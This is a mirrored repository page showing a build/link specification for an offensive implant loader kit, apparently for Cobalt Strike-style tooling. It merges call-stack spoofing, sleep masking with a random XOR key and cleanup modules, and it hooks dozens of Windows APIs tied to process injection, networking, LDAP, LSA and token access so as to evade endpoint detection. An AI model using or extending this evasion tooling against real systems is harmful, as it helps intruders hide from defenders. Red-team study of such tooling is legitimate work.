mirror of
https://github.com/PhantomSecurityGroup/Crystal-Kit
synced 2026-06-06 16:34:31 +00:00
S1n1st3r
ec438f41d5
* update gitignore * Fixed code size issue and added all hooks * Add hooking for HttpSendRequestA - add multiple modules to do stack spoofing with call instructions before gadget - update cna strreps
92 lines
3.7 KiB
RPMSpec
92 lines
3.7 KiB
RPMSpec
x64:
|
|
load "bin/pico.x64.o"
|
|
make object +disco
|
|
|
|
# merge the hook functions
|
|
load "bin/hooks.x64.o"
|
|
merge
|
|
|
|
# merge the call stack spoofing
|
|
load "bin/spoof.x64.o"
|
|
merge
|
|
|
|
# merge the asm stub
|
|
load "bin/draugr.x64.bin"
|
|
linkfunc "draugr_stub"
|
|
|
|
# merge mask
|
|
load "bin/mask.x64.o"
|
|
merge
|
|
|
|
# generate and patch in a random key
|
|
generate $KEY 128
|
|
patch "xorkey" $KEY
|
|
|
|
# merge cfg code
|
|
load "bin/cfg.x64.o"
|
|
merge
|
|
|
|
# merge cleanup
|
|
load "bin/cleanup.x64.o"
|
|
merge
|
|
|
|
# export setup_hooks and setup_memory
|
|
exportfunc "setup_hooks" "__tag_setup_hooks"
|
|
exportfunc "setup_memory" "__tag_setup_memory"
|
|
|
|
# hook functions in the DLL
|
|
addhook "WININET$InternetOpenA" "_InternetOpenA"
|
|
addhook "WININET$InternetConnectA" "_InternetConnectA"
|
|
addhook "WININET$HttpSendRequestA" "_HttpSendRequestA"
|
|
addhook "KERNEL32$CloseHandle" "_CloseHandle"
|
|
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
|
|
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
|
|
addhook "KERNEL32$CreateRemoteThread" "_CreateRemoteThread"
|
|
addhook "KERNEL32$CreateThread" "_CreateThread"
|
|
addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle"
|
|
addhook "KERNEL32$ExitThread" "_ExitThread"
|
|
addhook "KERNEL32$GetProcAddress" "_GetProcAddress"
|
|
addhook "KERNEL32$GetThreadContext" "_GetThreadContext"
|
|
addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
|
addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile"
|
|
addhook "KERNEL32$OpenProcess" "_OpenProcess"
|
|
addhook "KERNEL32$OpenThread" "_OpenThread"
|
|
addhook "KERNEL32$ReadProcessMemory" "_ReadProcessMemory"
|
|
addhook "KERNEL32$ResumeThread" "_ResumeThread"
|
|
addhook "KERNEL32$SetThreadContext" "_SetThreadContext"
|
|
addhook "KERNEL32$Sleep" "_Sleep"
|
|
addhook "KERNEL32$UnmapViewOfFile" "_UnmapViewOfFile"
|
|
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
|
addhook "KERNEL32$VirtualAllocEx" "_VirtualAllocEx"
|
|
addhook "KERNEL32$VirtualFree" "_VirtualFree"
|
|
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
|
|
addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx"
|
|
addhook "KERNEL32$VirtualQuery" "_VirtualQuery"
|
|
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
|
|
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
|
|
|
|
# Custom hooks
|
|
addhook "WLDAP32$ldap_bind_s" "_ldap_bind_s"
|
|
addhook "WLDAP32$ldap_init" "_ldap_init"
|
|
addhook "WLDAP32$ldap_search_init_pageA" "_ldap_search_init_pageA"
|
|
addhook "WS2_32$bind" "_bind"
|
|
addhook "WS2_32$connect" "_connect"
|
|
addhook "WS2_32$getaddrinfo" "_getaddrinfo"
|
|
addhook "WS2_32$send" "_send"
|
|
addhook "WS2_32$socket" "_socket"
|
|
addhook "SECUR32$LsaRegisterLogonProcess" "_LsaRegisterLogonProcess"
|
|
addhook "SECUR32$LsaConnectUntrusted" "_LsaConnectUntrusted"
|
|
addhook "SHELL32$ShellExecuteA" "_ShellExecuteA"
|
|
addhook "ADVAPI32$GetTokenInformation" "_GetTokenInformation"
|
|
addhook "ADVAPI32$OpenProcessToken" "_OpenProcessToken"
|
|
addhook "KERNEL32$GetCurrentThread" "_GetCurrentThread"
|
|
addhook "KERNEL32$GetCurrentProcess" "_GetCurrentProcess"
|
|
addhook "KERNEL32$WaitForSingleObject" "_WaitForSingleObject"
|
|
|
|
# hook functions in pico
|
|
attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c
|
|
|
|
mergelib "../libtcg.x64.zip"
|
|
|
|
export
|